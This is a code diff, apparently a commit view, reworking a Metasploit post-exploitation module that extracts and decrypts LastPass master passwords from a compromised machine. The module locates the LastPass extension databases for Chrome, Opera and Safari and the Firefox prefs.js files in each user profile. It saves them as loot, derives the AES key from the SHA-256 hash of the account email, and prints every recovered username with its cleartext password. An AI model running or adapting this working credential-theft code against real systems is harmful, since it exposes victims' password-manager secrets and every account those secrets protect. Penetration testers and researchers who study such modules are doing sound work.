@@ -16,8 +16,13 @@ def initialize(info = {})
16
16
'Name' => 'LastPass Master Password Extractor' ,
17
17
'Description' => 'This module extracts and decrypts LastPass master login accounts and passwords' ,
18
18
'License' => MSF_LICENSE ,
19
- 'Author' => [ 'Alberto Garcia Illera <agarciaillera[at]gmail.com>' , 'Martin Vigo <martinvigo[at]gmail.com>' ] ,
19
+ 'Author' => [
20
+ 'Alberto Garcia Illera <agarciaillera[at]gmail.com>' , # original module and research
21
+ 'Martin Vigo <martinvigo[at]gmail.com>' , # original module and research
22
+ 'Jon Hart <jon_hart[at]rapid7.com' # module rework and cleanup
23
+ ] ,
20
24
'Platform' => %w( linux osx unix win ) ,
25
+ 'References' => [ [ 'URL' , 'http://www.martinvigo.com/a-look-into-lastpass/' ] ] ,
21
26
'SessionTypes' => %w( meterpreter shell )
22
27
)
23
28
)
@@ -37,27 +42,39 @@ def run
37
42
return
38
43
end
39
44
40
- print_status "Looking for credentials in all databases found... "
45
+ print_status "Extracting credentials from #{ db_map . size } LastPass databases "
41
46
42
47
# an array of [user, encrypted password, browser]
43
48
credentials = [ ] # All credentials to be decrypted
44
49
db_map . each_pair do |browser , paths |
45
50
if browser == 'Firefox'
46
51
paths . each do |path |
47
52
data = read_file ( path )
48
- loot_path = store_loot ( 'firefox.preferences' , 'text/javascript' , session , data , nil , "Firefox preferences file #{ path } " )
53
+ loot_path = store_loot (
54
+ 'firefox.preferences' ,
55
+ 'text/javascript' ,
56
+ session ,
57
+ data ,
58
+ nil ,
59
+ "Firefox preferences file #{ path } "
60
+ )
49
61
50
62
# Extract usernames and passwords from preference file
51
- firefox_encoded_creds = firefox_credentials ( loot_path )
52
- next unless firefox_encoded_creds
53
- firefox_encoded_creds . each do |creds |
54
- credentials << [ URI . unescape ( creds [ 0 ] ) , URI . unescape ( creds [ 1 ] ) , browser ] unless creds [ 0 ] . nil? || creds [ 1 ] . nil?
63
+ firefox_credentials ( loot_path ) . each do |creds |
64
+ credentials << [ URI . unescape ( creds [ 0 ] ) , URI . unescape ( creds [ 1 ] ) , browser ]
55
65
end
56
66
end
57
67
else # Chrome, Safari and Opera
58
68
paths . each do |path |
59
69
data = read_file ( path )
60
- loot_path = store_loot ( "#{ browser . downcase } .lastpass.database" , 'application/x-sqlite3' , session , data , nil , "#{ browser } LastPass database #{ path } " )
70
+ loot_path = store_loot (
71
+ "#{ browser . downcase } .lastpass.database" ,
72
+ 'application/x-sqlite3' ,
73
+ session ,
74
+ data ,
75
+ nil ,
76
+ "#{ browser } LastPass database #{ path } "
77
+ )
61
78
62
79
# Parsing/Querying the DB
63
80
db = SQLite3 ::Database . new ( loot_path )
@@ -71,21 +88,25 @@ def run
71
88
end
72
89
end
73
90
74
- credentials_table = Rex ::Ui ::Text ::Table . new ( 'Header' => "LastPass credentials" , 'Indent' => 1 , 'Columns' => %w( Username Password Browser ) )
91
+ credentials_table = Rex ::Ui ::Text ::Table . new (
92
+ 'Header' => "LastPass credentials" ,
93
+ 'Indent' => 1 ,
94
+ 'Columns' => %w( Username Password Browser )
95
+ )
75
96
# Parse and decrypt credentials
76
97
credentials . each do |row | # Decrypt passwords
77
98
user , enc_pass , browser = row
78
- print_status "Decrypting password for user #{ user } from #{ browser } ..."
99
+ vprint_status "Decrypting password for user #{ user } from #{ browser } ..."
79
100
password = clear_text_password ( user , enc_pass )
80
101
credentials_table << [ user , password , browser ]
81
102
end
82
- print_good credentials_table . to_s
103
+ print_good credentials_table . to_s unless credentials . empty?
83
104
end
84
105
85
106
# Finds the databases in the victim's machine
86
107
def database_paths
87
108
platform = session . platform
88
- existing_profiles = user_profiles
109
+ profiles = user_profiles
89
110
found_dbs_map = {
90
111
'Chrome' => [ ] ,
91
112
'Firefox' => [ ] ,
@@ -95,62 +116,60 @@ def database_paths
95
116
96
117
browser_path_map = { }
97
118
98
- case platform
99
- when /win/
100
- existing_profiles . each do |user_profile |
101
- print_status "Found user: #{ user_profile [ 'UserName' ] } "
119
+ if datastore [ 'VERBOSE' ]
120
+ vprint_status "Found #{ profiles . size } users: #{ profiles . map { |p | p [ 'UserName' ] } . join ( ', ' ) } "
121
+ else
122
+ print_status "Found #{ profiles . size } users"
123
+ end
124
+
125
+ profiles . each do |user_profile |
126
+ username = user_profile [ 'UserName' ]
127
+ case platform
128
+ when /win/
102
129
browser_path_map = {
103
130
'Chrome' => "#{ user_profile [ 'LocalAppData' ] } \\ Google\\ Chrome\\ User Data\\ Default\\ databases\\ chrome-extension_hdokiejnpimakedhajhdlcegeplioahd_0" ,
104
131
'Firefox' => "#{ user_profile [ 'AppData' ] } \\ Mozilla\\ Firefox\\ Profiles" ,
105
132
'Opera' => "#{ user_profile [ 'AppData' ] } \\ Opera Software\\ Opera Stable\\ databases\\ chrome-extension_hnjalnkldgigidggphhmacmimbdlafdo_0" ,
106
133
'Safari' => "#{ user_profile [ 'LocalAppData' ] } \\ Apple Computer\\ Safari\\ Databases\\ safari-extension_com.lastpass.lpsafariextension-n24rep3bmn_0"
107
134
}
108
- end
109
- when /unix|linux/
110
- existing_profiles . each do |user_profile |
111
- print_status "Found user: #{ user_profile [ 'UserName' ] } "
135
+ when /unix|linux/
112
136
browser_path_map = {
113
137
'Chrome' => "#{ user_profile [ 'LocalAppData' ] } /.config/google-chrome/Default/databases/chrome-extension_hdokiejnpimakedhajhdlcegeplioahd_0" ,
114
138
'Firefox' => "#{ user_profile [ 'LocalAppData' ] } /.mozilla/firefox"
115
139
}
116
- end
117
- when /osx/
118
- existing_profiles . each do |user_profile |
119
- print_status "Found user: #{ user_profile [ 'UserName' ] } "
140
+ when /osx/
120
141
browser_path_map = {
121
142
'Chrome' => "#{ user_profile [ 'LocalAppData' ] } /Google/Chrome/Default/databases/chrome-extension_hdokiejnpimakedhajhdlcegeplioahd_0" ,
122
143
'Firefox' => "#{ user_profile [ 'LocalAppData' ] } \\ Firefox\\ Profiles" ,
123
144
'Opera' => "#{ user_profile [ 'LocalAppData' ] } /com.operasoftware.Opera/databases/chrome-extension_hnjalnkldgigidggphhmacmimbdlafdo_0" ,
124
145
'Safari' => "#{ user_profile [ 'AppData' ] } /Safari/Databases/safari-extension_com.lastpass.lpsafariextension-n24rep3bmn_0"
125
146
}
147
+ else
148
+ print_error "platform not recognized: #{ platform } "
126
149
end
127
- else
128
- print_error "platform not recognized: #{ platform } "
129
- end
130
150
131
- browser_path_map . each_pair do |browser , path |
132
- found_dbs_map [ browser ] |= find_db_paths ( path , browser )
151
+ browser_path_map . each_pair do |browser , path |
152
+ found_dbs_map [ browser ] |= find_db_paths ( path , browser , username )
153
+ end
133
154
end
134
155
135
- found_dbs_map
156
+ found_dbs_map . delete_if { | browser , paths | paths . empty? }
136
157
end
137
158
138
159
# Returns a list of DB paths found in the victims' machine
139
- def find_db_paths ( path , browser )
140
- found_dbs_paths = [ ]
160
+ def find_db_paths ( path , browser , username )
161
+ paths = [ ]
141
162
142
- print_status "Checking in #{ browser } ..."
163
+ vprint_status "Checking #{ username } 's #{ browser } ..."
143
164
if browser == "Firefox" # Special case for Firefox
144
165
profiles = firefox_profile_files ( path , browser )
145
- unless profiles . empty?
146
- print_good "Found #{ profiles . size } profile files in Firefox"
147
- found_dbs_paths |= profiles
148
- end
166
+ paths |= profiles
149
167
else
150
- found_dbs_paths |= file_paths ( path , browser )
168
+ paths |= file_paths ( path , browser , username )
151
169
end
152
170
153
- found_dbs_paths
171
+ vprint_good "Found #{ paths . size } #{ browser } databases for #{ username } "
172
+ paths
154
173
end
155
174
156
175
# Returns the relevant information from user profiles
@@ -186,7 +205,7 @@ def user_profiles
186
205
end
187
206
188
207
# Extracts the databases paths from the given folder ignoring . and ..
189
- def file_paths ( path , browser )
208
+ def file_paths ( path , browser , username )
190
209
found_dbs_paths = [ ]
191
210
192
211
if directory? ( path )
@@ -195,24 +214,17 @@ def file_paths(path, browser)
195
214
files . each do |file_path |
196
215
found_dbs_paths . push ( File . join ( path , file_path ) ) if file_path != '.' && file_path != '..'
197
216
end
198
-
199
217
elsif session . type == "shell"
200
218
files = session . shell_command ( "ls \" #{ path } \" " ) . split
201
219
files . each do |file_path |
202
220
found_dbs_paths . push ( File . join ( path , file_path ) ) if file_path != 'Shared'
203
221
end
204
-
205
222
else
206
223
print_error "Session type not recognized: #{ session . type } "
207
224
return found_dbs_paths
208
225
end
209
226
end
210
227
211
- if found_dbs_paths . empty?
212
- print_status "No databases found for #{ browser } "
213
- else
214
- print_good "Found #{ found_dbs_paths . size } database/s in #{ browser } "
215
- end
216
228
found_dbs_paths
217
229
end
218
230
@@ -229,38 +241,30 @@ def firefox_profile_files(path, browser)
229
241
print_error "Session type not recognized: #{ session . type } "
230
242
return found_dbs_paths
231
243
end
232
- end
233
244
234
- files . reject! { |file | %w( . .. ) . include? ( file ) }
235
- files . each do |file_path |
236
- found_dbs_paths . push ( File . join ( path , file_path , 'prefs.js' ) ) if file_path . match ( /.*\. default/ )
245
+ files . reject! { |file | %w( . .. ) . include? ( file ) }
246
+ files . each do |file_path |
247
+ found_dbs_paths . push ( File . join ( path , file_path , 'prefs.js' ) ) if file_path . match ( /.*\. default/ )
248
+ end
237
249
end
238
250
239
- if found_dbs_paths . empty?
240
- print_status "No profile paths found for #{ browser } "
241
- end
242
251
found_dbs_paths
243
252
end
244
253
245
254
# Parses the Firefox preferences file and returns encoded credentials
246
255
def firefox_credentials ( loot_path )
247
256
credentials = [ ]
248
- password_line = nil
249
257
File . readlines ( loot_path ) . each do |line |
250
- password_line = line if line [ 'extensions.lastpass.loginpws' ]
251
- end
252
-
253
- return nil unless password_line
254
-
255
- if password_line . match ( /user_pref\( "extensions.lastpass.loginpws", "(.*)"\) ;/ )
256
- encoded_credentials = password_line . match ( /user_pref\( "extensions.lastpass.loginpws", "(.*)"\) ;/ ) [ 1 ]
257
- else
258
- return nil
259
- end
260
-
261
- creds_per_user = encoded_credentials . split ( "|" )
262
- creds_per_user . each do |user_creds |
263
- credentials . push ( user_creds . split ( "=" ) ) if user_creds . split ( "=" ) . size > 1 # Any valid credentials present?
258
+ if /user_pref\( "extensions.lastpass.loginpws", "(?<encoded_creds>.*)"\) ;/ =~ line
259
+ creds_per_user = encoded_creds . split ( "|" )
260
+ creds_per_user . each do |user_creds |
261
+ parts = user_creds . split ( '=' )
262
+ # Any valid credentials present?
263
+ credentials << parts if parts . size > 1
264
+ end
265
+ else
266
+ next
267
+ end
264
268
end
265
269
266
270
credentials
@@ -279,25 +283,17 @@ def clear_text_password(email, encrypted_data)
279
283
decipher . key = sha256_binary_email # The key is the emails hashed to SHA256 and converted to binary
280
284
decipher . iv = Base64 . decode64 ( encrypted_data [ 1 , 24 ] ) # Discard ! and |
281
285
encrypted_password = encrypted_data [ 26 ..-1 ]
282
- begin
283
- decipher_result = decipher . update ( Base64 . decode64 ( encrypted_password ) ) + decipher . final
284
- rescue
285
- print_error "Password could not be decrypted"
286
- return nil
287
- end
288
-
289
286
else # Apply ECB
290
287
decipher = OpenSSL ::Cipher . new ( "AES-256-ECB" )
291
288
decipher . decrypt
292
289
decipher . key = sha256_binary_email
293
- begin
294
- decipher_result = decipher . update ( Base64 . decode64 ( encrypted_data ) ) + decipher . final
295
- rescue
296
- print_error "Password could not be decrypted"
297
- return nil
298
- end
290
+ encrypted_password = encrypted_data
299
291
end
300
292
301
- decipher_result
293
+ begin
294
+ decipher . update ( Base64 . decode64 ( encrypted_password ) ) + decipher . final
295
+ rescue
296
+ print_error "Password for #{ email } could not be decrypted"
297
+ end
302
298
end
303
299
end
0 commit comments